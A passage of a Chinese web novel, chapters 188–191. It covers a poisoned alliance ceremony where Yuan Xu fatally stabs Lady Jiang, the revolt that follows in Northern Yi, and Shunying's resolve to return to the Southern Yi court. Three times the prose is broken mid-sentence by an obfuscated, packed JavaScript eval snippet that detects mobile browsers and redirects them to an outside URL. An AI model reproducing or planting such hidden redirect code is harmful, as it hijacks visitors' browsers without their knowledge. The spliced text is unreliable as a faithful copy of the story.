“过段时间咱们去打北宛,他还会出来的……他说过,北宛未平他不会死的,到时候咱们还喝桂花酒、一起吃……吃……”她的话卡住了,像一台超负运转的机括,陡然崩断。 然后,她轻飘飘倒进苻洵怀中。 舜英在一片欢呼声中被吵醒,刺眼的阳光透过雾白帷帐照在脸上,她下意识抬手挡在眼前。 她略微一动,才感觉浑身都很疼,那天山谷的厮杀场景陡然映入脑中,像是被上万支箭洞穿、又空又痛,耳畔嗡嗡直响。她一眨不眨盯着上方帷帐,眼角流下两行泪。 挣扎着想坐起来,手臂和腿软绵绵的、没什么力气,只穿着中衣亵裤,身上伤口被棉布包裹得严严实实。怕她捂着太热,床边还放着两个大冰鉴,冰块已融化大半。 门吱呀一声开了,两个健壮的仆妇抬着冰块进来,倒出冰鉴内的水,换上新凿下的冰块。 “姐姐感觉好点了没?”苻洵走进来,身后跟着一名仆妇,仆妇手里端着个托盘,她将托盘放到床头小桌上就出去了。 匀净的瓷碟瓷碗,热气腾腾,分别装着白龙曜、清蒸鱼、青笋菇,另有一碗莼菜羹、一碗青菜粥、一碗梗米饭。 苻洵掀开雾蒙蒙的白色帷帐,用右手扶她坐起来、又从榻上拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14967340|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来一张小几摆在床上,然后端起青菜粥放到小几上,递过去小勺:“你好几天没吃东西,先喝点热粥。” 舜英挤出个微笑,舀起一勺咸粥、和着泪水大口吞咽,苻洵默默注视着,从鱼腹夹起一块嫩肉,放到她勺中。 她这才发现,他左臂一直无力地垂着,从头到尾就没用过。 注意到她的视线,他往后背了背左臂,若无其事笑了:“没事,一点箭伤而已,休养个把月就好了。” 苻洵体质异于常人,对疼痛的忍耐力十分强,又有本命金蝉,伤口恢复起来比常人至少快五六倍,能让他痛到无法使力、需要调养个把月的伤,绝对不只是“一点”。 舜英小口喝着粥,苻洵见状松了口气、扬起宠溺的笑意,见缝插针夹给她鱼肉、里脊肉、笋。她味同嚼蜡吃完大半碗粥,缓缓开口:“这是哪儿?” 苻洵:“洛京。” 她想起将自己吵醒的欢呼,又问:“外面那些人在高兴什么?” “北翊要与荣国结盟”,苻洵的笑容变得明亮,“时间已定,就在月底,姜夫人和靖安王已在来的路上。” 舜英:“在哪儿签订盟约?” 苻洵:“原本提议龙门行宫,姜夫人嫌晦气,就在龙门渡口旁边垒台社祭坛。” “……”舜英没想到姜嫣如此直率,一时语塞,忽然心念一动,“阿洵,那天我好像看到秦川了。他不是在金州么?金州那边怎样了?” 苻洵表情毫无波澜:“姐姐看错了,那天来的是郎琊,金州那边暂时还没消息。姐姐若心急,我马上传信问问洹哥?” 舜英垂眸沉吟半晌,挤出个微笑:“没事的,不用特意问,该来的总会来。”重复了两遍,心却突突直跳,手也不听使唤地发着颤,额头沁出几滴冷汗。 苻洵忙扶她躺下,柔声道:“姐姐先歇息,还有个好消息——结盟那天南翊有派出使臣来贺,冯太后大概还是认了吧。” 舜英隐隐感觉哪儿不对劲,一时说不出所以然,随口问:“使臣是谁?” 苻洵温声说:“正是阿旭。” . 建宁十四年、靖安七年四月二十,荣王苻沣与北翊王元承赟在洛川南岸,夯土筑九丈高台,宰三牲、歃血、签订盟约。 舜英特意起了个大早,一丝不苟地粘胶易容,妆容明艳,袍服庄重精致,随苻洵一道前往洛川南岸祭台观礼。 宾客如云,舜英一眼就看到站在数十丈外的元旭。依然是一袭浅蓝直裰,看起来干净而灵秀,只是头发绾得一丝不苟,束着一枚花纹繁复的赤金冠,使他多了几分沉稳华贵。 前方的苻沣和元承赟正携手同登高台,舜英注视着他俩的背影,想起十三年前那相似的一幕,心里五味杂陈,莫名有些悲凉。底下也有不少见证过十三年前洛京会盟的官员,正悄声交头接耳。 “听说两位陛下都是直率人,共御外族结下的交情。” “武将在战场上过命的情分,总该比动动嘴皮子要牢靠些。” “谁知道呢,这几百年间的邦交,都是说和就和,说翻脸就翻脸。” “希望这次盟约的效力持续久些吧,再经受不住战火了。” 舜英瞟了一眼四周,见大部分人注意力都在高台,于是扯了扯苻洵袍袖,向元旭那边使了个眼色。 “不要急,这会儿众目睽睽不方便”,苻洵倾身附耳道,“再说前线战报他也不一定知道。晚上有宫宴,我趁他们喝高了再悄悄把他寻出来,找个僻静处仔细问。” 舜英一听觉得有道理,偷偷觑向元旭,却见他已不再原地。她拉着苻洵退到人群背后,不动声色用眼角余光扫视场内。 元旭不知何时挤去北翊的观礼席,正满面笑容同姜嫣说着什么。 189. 背刺 洛川水面楼船如云,北翊的质朴大气、南翊的富丽奢靡,放下跳板没有收。船头整整齐齐站着几排布衣“水手”,但是从那结实的身板和腱子肉看,全是武艺高强的精兵。 元旭与姜嫣笑着聊了半晌,做了个“请”的手势,二人一同向河边走去。护卫立即紧随其后,他们齐齐回身摇了摇头,只带一两个随从远远跟着。 舜英心底涌起一股莫名的不安,拉着苻洵换了站位,遥遥注视着二人。 河边站立的,尽是全副武装的荣国带刀侍卫,每十丈两人。他们毫不在意,一直走到水边依然在说说笑笑、谈笑风生。 “长得好看就是占便宜”,苻洵遗憾地摸着自己的脸,“这也长得不丑啊,怎么姜夫人每次见到我就要打要杀。” 顿了片刻,他恍然大悟:“许是因为平南侯生得乖巧,我这张脸一看就不正经。” 舜英想白他一眼,又不愿放弃盯梢,凉凉地说:“人家打小就招姜夫人喜欢。” 说话分神,视野里只剩白茫茫江水和水面跳跃的阳光,她忙急切地搜寻那两道背光的黑色身影,倏然呆住了。 惊变陡生! 站在他们身边的一名侍卫,忽然拔出佩刀砍向同伴,血溅了元旭满脸满身。姜嫣立即将元旭护在身后,护着他沿河边往其他侍卫的方向跑,那名侍卫却举着带血的刀穷追不舍。 站在河边的侍卫一拥而上,岂料那侍卫武艺十分高强,追赶者刚刚近身便被一刀封喉,一边跑一边杀、气势锐不可当。 祭台之上,元承赟和苻沣正跪着燃香祝祷、祭告皇天后土,断无可能停下来安排武功高强的内卫。 “白袍卫!”苻洵情急之下断然高呼,旋即拉起舜英跑向河边。 观礼席的人群这才注意到河边异样,纷纷爆发出尖叫和惊呼,所幸全是官员和宗室,虽然惊惧却并未溃散。 禁军统领赶紧带着亲兵冲向河边,同一时刻,元旭和姜嫣的贴身护卫也紧随其后狂奔过去。 因站立位置的原因,最先到的是南翊护卫,此时姜嫣和元旭已跑到南翊楼船的跳板旁。 那护卫武艺更胜一筹,只一招便空手接白刃、解决了发狂的侍卫,徐徐向惊魂未定的姜嫣和元旭走去,走到近前伸出双手,缓缓抱拳,然后…… 一记手刀砍向姜嫣后颈。 “冯太后请姜夫人去阊江小住!” 姜嫣敏捷躲开,那护卫毫不顾忌元旭,自顾自挥刀砍向二人。因入场时并未带刀,姜嫣只能一边躲避一边拉着元旭往祭台方向狂奔。 她的动作突然一僵,因为元旭忽然竭尽全力将她往反方向的楼船拉。 “大嫂,去阊江给母后认个错吧”,元旭一边咬紧牙关矮身拖住她,一边向楼船挥手,“母后说了,只要你好好去阊江服个软,咱们还是一家人。” 姜嫣大怒:“滚!放手!” 舜英和苻洵跑近他们时,劈头盖脸便听见这声怒喝。越来越多的人从南翊楼船冲下来,拿绳子的拿绳子、牵麻袋的牵麻袋,还有不少人挡在外围阻碍荣国和北翊侍卫援救。 元旭力气小,只攥手臂拖不住姜嫣,什么分寸礼仪也不顾,从后抱住姜嫣直往船上拖。姜嫣一边挣扎一边怒吼:“阿旭,不要逼大嫂动手!” “这是在干嘛?”一贯混不吝的苻洵都惊呆了,瞠目结舌地问,“还能这样?光天化日直接绑人?” 姜嫣眼看人越来越多,难以脱困,也顾不上元旭身子骨弱,反肘击向他胸口,哪知元旭跟八爪鱼成精似的,再是如何被打也死死抱住她不松手。 终于,姜嫣一把将他掀翻在地,南翊侍卫已将她围得水泄不通,她急怒攻心也顾不上礼仪,俯身便是一耳光:“好好叫你声六弟,偏要给那背信弃义、卑劣阴险的毒妇当走狗!” 骂声又高又粗暴,听得周围人齐齐一震、面面相觑。 骂完这句,姜嫣余怒未消,继续左右开弓,两个身份地位最尊贵的翊国宗室,居然就这样丝毫不顾体面地、在荣国的疆土上殴打起来。 舜英心里那股不安更浓,扯了扯苻洵袖子:“快去拉开啊。” “挤不进去”,苻洵真诚地叹了口气,却满脸看好戏的神情,“那小子居然干出这种事,挨揍活该。” 舜英揪住他胳膊使劲一拧:“这里是荣国地盘,真打出个好歹你们也撇不清。” 苻洵从善如流,一边偷笑一边拉着她往里挤。 忽然,靠前的人群歇斯底里尖叫起来。 震耳欲聋的尖叫此起彼伏,间杂着“杀人了”的呼喊。舜英感觉全身血液霎时凉透,耳边嗡嗡轰鸣、大脑一片空白,呆立原地忘了继续向前挤。 直到苻洵轻轻捂住她的手,拉着她往后让了让。人群“轰”地一声,自动分出通道,无数披甲执刀的内卫小跑着夹道站立,苻沣和元承赟在内卫前呼后拥下疾步走来。 舜英这才看清圆圈内的场景。 元旭披头散发,松开姜嫣,站起来连连往后倒退,泪水潸潸盯着自己满手鲜血,喃喃辩解:“不是我……大嫂……不是我……” 姜嫣的心口,端端正正扎着他那支精美的赤金发簪。 “娘!”元承赟飞奔过去抱住她逐渐倒地的身体,颤抖伸手去摸心口处浸透的血,僵硬地转头看向元旭,“六叔,为什么?” 舜英怔怔注视着姜嫣被血染红的前襟,张了张嘴、嗓子又干又疼,发不出半点声音。她又难以置信地瞥向满手鲜血、正飞奔逃离的元旭,徒劳张大嘴哀嚎,终于发出第一个音节:“阿……” 后颈一痛,视线陡然漆黑,苻洵收回打晕她的手,揽住她对苻沣躬身一礼:“拙荆与北翊袍泽同进退多时,一时悲愤,心绪不稳失了礼数,请陛下宽恕。” “无妨,朕也义愤难当”,苻沣指向楼船方向,当机立断叱令侍卫,“将凶犯拿下!” 元旭虽惊恐失常,脚下步子却丝毫未减缓,南翊护卫更是纷纷抽出藏在靴底的短刀,一拥而上将缉拿元旭的内卫阻隔开来。 围观人群被唬得魂飞魄散,文官调头往重兵把守的祭台方向奔逃,武官一边断后一边呼喊“保护陛下!” 元旭一边哭着低语,一边飞快奔上南翊楼船的跳板,他一跑上甲板,楼船立即收起跳板、似离弦的箭,疾驰而去。 南翊护卫见元旭已安然脱险,突然齐刷刷抛开刀兵,与之对战的北翊和荣国侍卫惊愕之下收不住力道—— 鲜血四溅,泼泼洒洒满地殷红。 还在岸边的就只剩武官和侍卫,也全都满脸懵,目瞪口呆,完全没反应过来方才这一连串变故。 北翊侍卫中,不知谁忽然高声呼喊:“荣国侍卫刺杀咱们太后和……” “一派胡言!”女声决然响起,只见姜嫣在元承赟的搀扶下站直,痛得面部抽搐嘴唇惨白,仍傲然仰头冷喝,“惑乱军心,图谋不轨,拿下!” 旋即,她徐徐环顾四周,竭尽全力一字一字道:“侍卫由南翊细作冒名顶替,冯太后想栽赃给荣国,瓦解抵御北宛的联盟,只不过出了纰漏……北翊众将士听令,敢有不尽心征伐异族者,有如此簪!” 她咬紧牙关,猛然从心口拔出那支金簪,带出血涌如泉。她唇角噙着冷笑,将簪子交给承赟后、手无力垂下,撑着的那口气也散了。 元承赟将母亲遗体平放在地,解下染血的大氅盖好,慢慢拭去泪花。将那支金簪高高举起,铿然折作两段、抛向空中。 然后,他转向楼船远去的方向,每个字都带着磨牙吮血的恨意。 “杀母之仇,不共戴天!” 旋即,他看向站在人群前方的谢朗和苻洹, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14972876|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扬声高呼:“两国将士见证,冯太后背弃‘边垣之盟’在先,破坏结盟在后,意在瓦解抵御异族联盟、维护母国,咱们就反其道而行之,屠尽北宛二十三部,踏平柘枝城!” 苻沣心领神会,扬声道:“敝国愿毁家纾难,穷举国之力,永绝北宛大患。” 谢朗和苻洹立即反应过来,一起振臂高呼:“屠尽北宛二十三部,踏平柘枝城!” 在场众将士齐齐呼喊:“屠尽北宛二十三部,踏平柘枝城!” 一遍又一遍,声音逐渐整齐,一浪迭过一浪,排山倒海,响彻云霄。 . “简直想不到,冯太后如此算无遗策,也有百口莫辩的时候”,苻洹笑了笑,眼神里全是叹服,“姜夫人这一闹,谁还记得当时绑架那出?连自己的死都利用,这翊国女人,真是一个比一个厉害。” 苻洵蹙眉:“总觉得哪儿不对,我了解的冯太后可没这么——”想了想,咽下那个“蠢”字。 “……可没这么简单粗暴。” 他思索半晌,勃然变色:“洹哥,咱们是否要加派人手保护靖安王?还有,马上奏请陛下,所有军队整兵备战?” 苻洹:“这我早有预料,阜门峡和淮水以北已传令戒严。” 苻洵摇摇头:“不止南翊,北翊可能要出大事。冯太后十分擅长政斗夺权,就算同仇敌忾如北翊,也不可能真的铁板一块。” 苻洹脸上笑意凝固了,半信半疑道:“这——没那么容易吧……” 苻洵冷笑:“都说庄王精通权术,弱冠之龄仅用半个月就顺利政变夺位。如今看来,不知当初有多少冯太后手笔。” 送别苻洹后,苻洵离开茶楼回到相见欢客栈,底下几层楼洒扫出来供白袍卫住,顶层的房间略作改造,隔出有前厅、书房、饭厅和卧房的套间。 他先去了趟厨房,揭开蒸笼盖瞥了一眼,糖蒸酥酪火候正好,用小勺尝了一口,甜味和奶香味恰到好处。于是用琉璃盏舀了半盏,加上些杏仁碎和干桂花,又拿起小碟夹了几个樱桃毕罗,一起放进食盒。 阳光透过银红纱窗照进花厅,舜英不知何时已起来,坐在花厅的圆桌上,左手拿一块软木、右手正用小刀刻着什么,细细碎碎木屑飘满桌面。 苻洵将酥酪和毕罗放在一旁小几上,走近挤出一丝笑意:“正好大热天,酥酪放凉了好吃些。” 又好奇地问:“这次刻的是什么?” “大虫”,舜英促狭地眨眨眼,却流下两行泪,“先前大殿下在时,他们都管姜夫人叫‘母大虫’,他们夫妻都一个样,耿直脾气暴,有时候承陵和承赟捣蛋,哪怕是在冯太后跟前,姜夫人也是上手就揍。” 苻洵笑着附和:“的确是那样性格。” 她也笑了,笑着笑着泣不成声,再也拿不稳刻刀,伏案哭了半晌,忽然抬头,泪眼朦胧看向窗外:“为什么偏偏是阿旭?” “我记得小时候,姜夫人对冯太后和两位嫡出殿下温和有余、亲近不足,唯独对阿旭十分上心。姜夫人很想有个斯文些的孩子,可笙儿比她两个哥哥性子还虎,阿旭跟承陵差不多大,身子骨弱、胆小心软,姜夫人对阿旭疼得跟什么似的。” “为什么阿旭要这样?姜夫人被人追着砍都没忘记护他。” “阿洵,整个世界都乱套了,所有我熟悉的人都有另一张脸”,她眼眶通红注视着他,捏了捏他的脸蛋,挤出恍惚的微笑,“这张是真的。” “在姐姐这里,阿洵永远是真的”,苻洵等她不再哭泣,取出一方丝帕打湿,替她擦干净脸,端过酥酪递给她,“姐姐不如吃些甜的,心情会好些。” 舜英艰涩地笑了笑,舀起一勺酥酪送进嘴里,竭力吞咽。 急促的脚步声由远及近,停在门口。 “主子,出大事了!” 190. 满座衣冠胜雪 银匙掉回琉璃盏,撞出清脆响声,舜英霍地站起身。 “秦川?” 她猛然拉开大门,与刚狂奔到门口的秦川大眼瞪小眼。 秦川震惊片刻,失声惊呼:“夫人什么时候回来的?郎琊不是说你……” “秦川!”苻洵忙喝止他继续絮叨,冲过去一把揽住舜英后背,“姐姐,你先回来,坐下听我说……” “所以,我那天在山谷看到的就是秦川,”舜英大脑宕机一般呆住,转头看向苻洵,面部轻微抽搐,似是不知做什么表情,喜怒哀乐迅速转换,竟露出个灿烂的笑,“金州之战早已结束对不对?秦川早就送钧良他们到了安全的地方。” 秦川吓得面无人色:“夫人你别笑,好瘆人。” “没事,秦川你先回房,有什么事等我过来找你”,苻洵关上大门,扶她回到卧房、在床沿坐下,目不转晴注视着她,“姐姐,钧良和钧安还活着……” 舜英满脸笑容点头,抓着他的手急切地问:“其他人呢?” 苻洵埋下头陷入沉默,数次抬头欲言又止,却又摇摇头,最后起身去书房取出一卷泛黄的丝绢。 “姐姐,我不是故意瞒你,这密信是攻打武原城前一天收到的,我怕你第二天作战分神,本想班师之后告诉你”,苻洵咽了口唾沫,将密信递给她,艰涩地说,“后来武煊、姜夫人、元旭……发生了太多事,我越发不知该怎么跟你说。” 舜英笑着打开密信,一行一行往下读,手抖得厉害,紧跟着后背、腰、腿……整个身躯都在剧烈颤抖,脸上仍挂着笑容,凝固的、扭曲的、濒临崩溃的笑容,似乎已失去对面部的控制。 她用力捂住耳朵,惊恐地睁大眼睛,眼眶通红、目眦欲裂,却流不出一滴泪;张大嘴巴,像是在歇斯底地地尖叫,却发不出任何声音。 保持这个动作僵了许久,她身躯猛然前倾,呕出几大口鲜血,晕厥过去。 那卷丝绢颓然飘落,坠入地上新呕出的鲜血里,几行字迹慢慢被殷红浸没。 建宁十四年三月二十八,崔玄仁叛变,金州失守。 褚氏旁支子弟八人抵死不降不逃,在城破之后率亲兵藏于街巷、与敌军周旋三天三夜,被崔玄仁亲兵俘获、斩下头颅悬于城墙之上。 城破前夜,褚秋水次子褚钧威、四子褚钧良、养子褚钧安在白袍卫的守护下,率亲兵突围求援。崔玄仁叛变之后,立即派遣武卒营穷追不舍,褚钧威为掩护弟弟逃生、战死乱军之中。褚钧良与褚钧安九死一生逃回阊江,却都落下不同程度的伤残。 冯太后表彰褚氏满门忠烈,起复褚钧贤为羽林卫副指挥使,又分别迁褚钧良与褚钧安为太仆寺少卿、太常寺少卿,百官及各世家称善者久之。 守卫金州城的褚氏子弟,就是舜英在地皇山摘槐花那天下午,看到的那窝奔逃野兔。 . 苻洵坐在秦川卧房,房间乱得跟狗窝似的,但他无暇顾及、只静静蹙眉沉思。 舜英晕晕沉沉近十天没下床,接二连三的噩耗,挚友的、亲长的、母族血亲的……还全都是被自己人背刺,坚韧如她,也承受不住这没完没了的轮番打击。 她并非一直昏迷,有时会清醒一时半刻,很努力地吃饭喝水,但是吃下去总反胃呕出来,于是继续吃喝。咀嚼那些食物时,她咬牙切齿满脸狰狞,像是在撕咬谁的皮肉。 苻洵几乎寸步不离守着她,这两天她不再浑浑噩噩一味沉睡,开始对着窗子外流泪发呆,有时候还会跟他讲一些跟堂弟们的往事,睡下之后呼吸也平稳许多。 苻洵知道,她已逐渐接受亲友离世的事实。 想到那天秦川莽莽撞撞冲进来,像是有什么大事,于是吩咐一名仆妇守在卧房,自己下楼去寻秦川,撞见郎琊也一并叫来议事。 秦川耸了耸肩:“我是想说,护送靖安王回宛平的路上出了大事。” 四月二十三,元承赟越过伊河、刚刚踏上北翊的土地,就察觉到不寻常的气息——在渡口奉迎圣驾的侍卫俱是生面孔。一打照面,立即喊出口号“擒杀国贼,独尊正统”,手持白刃向归国使团冲来。 纯钧和秦川等人立即要护送元承赟返回渡船,遭其严词拒绝。元承赟生于军营、长于三郡二州,其血性远非深宫长大的国君能及,当即高声列举冯太后挟持元氏嫡嗣、杀媳杀孙、窃权乱政、里通异族条条罪状。 又告知众人,纵要身死,元氏子弟也该堂堂正正战死、揭发窃权者嘴脸,而非被无声无息谋杀于逃亡道途。 然后,慨然拔刀、身先士卒迎向乱军,其亲兵及内卫受其鼓舞,纷纷士气大振,竟与数量三倍于自己的乱军杀得不相上下。搏杀正酣时,西面传来急促疾驰的马蹄声,谢朗率两千亲兵轻骑飞驰而来,边跑边喊:“陛下上马!” 杀出重围后才从谢朗处得知,荣国与北翊结盟的当日,变数陡生。几乎同一时间,燕洺二州、三军郡爆发哗变,姜氏一族与元承赟亲信大部分被谋害。混乱之中,霍修当机立断封锁朔门关、神武关和建兴城,率亲兵关门揖贼。 谢朗意识到元承赟归国有危险,马上率一队亲兵杀出重围、直奔怀阳城前来接应。 秦川疑惑地问:“大殿下和姜氏在三州两郡那么多年,还是很得人心的。只是不知好好的怎么说叛变就叛变?” “很简单,利益”,郎琊无奈地叹了口气,“打北宛这七年,三州两郡都过得紧巴巴的。就说最直接的,细粮和肉食全都供应给前线将士,留在宛平城的那拨人一天只吃两顿,就连姜夫人和靖安王也只中秋、年节能吃上肉,更别说美酒、精细菜肴……” “怪不得那天喝武煊两坛桂花酒,他肉疼得跟什么似的”,苻洵也叹了口气,“堂堂太后和国君,过得还不及阊江普通富户。” 姜嫣和元承赟尚且如此,底下人什么日子可想而知。 “豪宅、华服、美食这些好东西,喘气儿的都喜欢,起先有过命交情和家国大义撑着,但没人不想过好日子”,郎琊沉吟道,“我与他们协作时也听他们聊起,不少人还想着打跑北宛能南下过几年舒服日子。” 秦川恍然大悟:“但去年姜夫人和靖安王断然拒绝了冯太后的招安……也不知多大仇,好好的婆媳和祖孙,弄成这样。” “这就没人知晓了”,苻洵摇摇头,“布置游说那么多人,绝非一日之功,冯太后肯定早就做好了两手准备。” “粮草!”郎琊眼睛一亮,“我护送过几次南翊的粮草船,当时就有些奇怪,船上除了水手,其他人大都是文官,看起来十分面善又弱不禁风,穿得似乎也很……贵气。” 苻洵笑了:“若是我,还会在底舱分批次藏些武艺高强的死士,两州三郡的流民那么多,这并不难。届时,若那些被煽动的人不肯决断,自有死士帮他们决断。” “个中内情就不知道了”,秦川默了半晌,眼里浮出敬佩,“不得不说,他们母子虽倔强了些,那血性和烈性简直没得说,骨头比铁还硬。” 苻洵有些错愕:“他咋了?” 碎嘴的秦川也沉默半晌,艰涩地说:“他让人就地伐木给自己打了口棺材,与姜夫人的棺椁并排放在马车上,说但凡还有一口气、就要往宛平多走一步,若哪天被逆贼谋弑,将他尸身放进空棺就地掩埋。” “还真是……狠的怕不要命的”,苻洵肃然起敬,赶紧追问,“接下来呢?” “不知道,靖安王北上没多久把咱们遣走了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978331|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”,秦川看向郎琊,“你那些探子暗桩没有消息传回?” 郎琊摇摇头:“这又不是画本子,北翊现在到处乱着,这才过去几天、哪能打探这么快? “北翊内部被这么一搅和,冯太后对其的掌控远达不到预期,给咱们造成的威胁也没那么大”,苻洵神色稍霁,忽然神色变冷,“有个更大的隐患——北宛,这一闹腾北伐定会延后,冯栩跟打不死似的,一旦得到喘息定会反扑。” 郎琊和秦川齐刷刷盯着他,欲言又止数次,艰涩地提议:“主子,您还是想想眼下吧。” 苻洵一头雾水:“眼下咋了?” 话音未落,洛京东门方向传来“轰”一声巨响,旋即街面上传来乱糟糟的尖叫声和哭嚎声。 苻洵:“什么情况?” 郎琊:“南翊水师从长济渠打来了,正在强登陆。” 秦川忙不迭点头:“我上午去城楼上拿千里镜看过,两翼和前边由门舰护卫、中间全是楼船……目测搭载了不下三万精兵。” 苻洵霍然站起身:“怎么不早说?” “这几天夫人不太好,您不是说不要惊扰吗?”秦川赔笑找补,“而且您一下来先问咱们那天……” “少废话,赶紧让他们收拾东西”,苻洵没好气地往外走,“叫他们喂好马匹,一个时辰后……” “我们早收拾好了,就等主子一声令下。”秦川讨好地笑着指了指床上,苻洵这才发现被子旁放着几袋包袱,地上乱糟糟丢的全是废纸碎布。 苻洵一时也不知骂这俩人什么好,默了一瞬拉开房门,疾步走向顶楼。 舜英已经起来了,换了身利落的素色劲装,正麻利收拾着二人行装。见他走进来,没什么血色的脸上挤出微笑:“阿洵,我想回洛川别苑住几天。” 苻洵松了口气,忙接过她手里重物,一起收拾包袱:“咱们一起回去,想住多久都行。” . 他们长期戍边,但洛川别苑的主屋一直为他们空着,每天都有人打扫,预备苻洵偶尔奉召回京小住。 浴桶比市面上常见的大很多,可舒展地躺下两个人。热水恰到好处地微微发烫,丝丝缕缕热气像乳白的云烟,隔间白气弥漫宛若仙境。 浴桶四周围了圈浅白色帷幕,舜英整个身子浸在热水里,注视着帷帐上绣工精细的红色梅花和浅粉芙蕖。 拿起那只蝴蝶祥云银锁,珍惜地用指尖一点点摩挲,贴在唇上亲吻。又注视着那对花丝镯,抚摸着石榴石的红梅、芙蓉石的芙蕖。六年来苻洵为她订做的首饰数不胜数,她却独独喜欢最初的那个。 苻洵从王宫回来时,正看到她对着镜子勾勒眉形,是极尽温柔恬静的秋娘眉,额心花钿银红、形如莲花,胭脂是颜色浅淡的嫩吴春。妆容极清淡年轻,恍若回到十五年前那个除夕夜。 她垂眸,长睫毛在眼底投下阴影,将眼中情绪掩藏得密密实实。 桌上摆了一对酒杯,一壶青梅酒。 她斟满酒杯,将其中一杯递到苻洵面前:“阿洵,今天是五月初十。” 又一个五月初十。 从她第一次在洛川别苑醒来至今,已过去整整六年。 从她稀里糊涂在北宸殿与他三跪九拜、合卺结缡,已过去整整六年。 从她遵从内心,坚持与他结为夫妻,也已过去大半年。 沉默着酒过三巡,她忽然起身关上房门,挽着苻洵走到屏风后灯光最亮的地方。纤细温软的双臂环住他脖子,抬头吻他嘴唇,然后慢慢牵起他的手。 一点一点,抚过自己的脸颊、脖子、肩膀、胳膊……每一寸皮肤细腻光洁,在等下泛起冷白柔光。 “快看看,我有没有变丑?” 191. 相见未有期 舜英只穿着一条轻纱裙,薄如蝉翼、轻若烟霭笼在她袅娜的身躯上。 全身肌肤在灯光下泛着柔润白光,像自带一层光晕。看得苻洵心头一颤,魔怔似的,视线随着掌心游移,却不带任何欲求,只是虔诚而珍惜地默默注视。 这些年,他们颠沛流离,但无论在什么境地,苻洵总想方设法将她精细娇养。 她轻笑:“我第一次来葵水前,一直以为自己是男子,成天摔摔打打,弄得脸上手上身上淤青不断,有时还会擦破大块皮或者割出几道伤口。” “我初次见你时,你正在打架、狠得完全看不出对脸和身子的爱惜”,苻洵也笑了,“可我第一眼就认出你是女子。” “是该说你聪明,还是小小年纪不学好?”她笑容带了几分调侃,“后来成立飞廉,出外差次数一多,伤口更多了,上半身和腿没几块好皮,新伤叠旧疤。” 慢慢掀开心衣,她浑身肌肤细嫩白皙无暇,只剩腰部那块突兀的陈旧烙痕。 她在盆中倒入滚烫的热水,拧了一张丝帕,趁热捂在腰腹,逐渐显出若有若无的深色痕迹:“颜先生说,陈年旧疤即使用药祛除,水温太烫还是会隐隐显形。” “我先前没注意,早知祛得不彻底,就亲自给你配”,苻洵忙说,“姐姐不要担忧。” 舜英笑着摇摇头:“不用……我只能说,幸好。我问过颜先生,他会一种蛮族已快失传的方子——一种把伤疤做旧的秘药。” 苻洵骤然意识到什么,心慢慢沉下去,默了许久颤声恳求:“你想做什么我都跟你一起。” “这件事只能我自己去”,她靠在他胸膛,将耳朵贴在心口位置,感知他沉稳有力的心跳,“还好,你身上的‘独活’已全部消解,以后我不在,你尽量多用伤药,少动金蝉。” 苻洵定定看着她恳求:“拜堂那天我们发过誓的,倾心相护、同进同退。” 舜英道:“上次见到师父时,我跟他说,我老在落魄时遇见你,你也总竭尽所能护我疼我。想起来总十分歉疚,好像我无处可去、贪图你的照料,才跑来依靠你。” “哥哥时常跟我说,谁都有艰难的时候,人跟人本就是你靠靠我、我靠靠你,相扶相持才能走得长远”,苻洵眼里带着泪花,“姐姐和阿洵是心甘情愿拜过天地的夫妻,依靠一下又怎么了?” “师父当时也这么说的”,舜英轻轻抚过苻洵受伤的左臂,轻声说,“可是,现在我想成为你的依靠。” “北翊的事我都听说了,我担心的跟你一样,北宛虎视眈眈、南翊举国攻打。而荣国和北翊两国,早已为夺回三大关隘耗空国库,再支持不起下一场战争。” “阿洵,逃避没用、躲藏也没用,我们没时间了。” 苻洵身躯一震,急切攥住她的手:“不要回去,那是个虎狼窝,是天下最恐怖的地方。” “你忘了吗,我就是在虎狼窝长大的啊”,舜英笑了笑,“阿洵,我们没有退路了。” “我不怕跟你一起被追杀,也不怕打仗”,苻洵眼眶蓄满泪水,一瞬不瞬看着她眸子,摩挲着她的脸,“我一定想办法护住你,最糟糕……大不了咱们一起去死,姐姐,不要一个人回去送死。” 舜英笑着拭去他的泪水:“我此去,只为求生,不为求死。” “也不止为你,更为了枉死的亲人、为了武煊、为了姜夫人,为了一遍遍被战火蹂躏的北疆。” 她转身从隔间拿出一个巨大的木盒,打开来是一排寒光闪闪的各色兵器:“这是我能回忆起见过的利器,估摸着大差不差就行了,很多伤口连伺候我的宫人都不知道怎么回事。” 苻洵怔怔盯着她,泪水潸然滚落:“好狠的心,让我亲手伤你。” 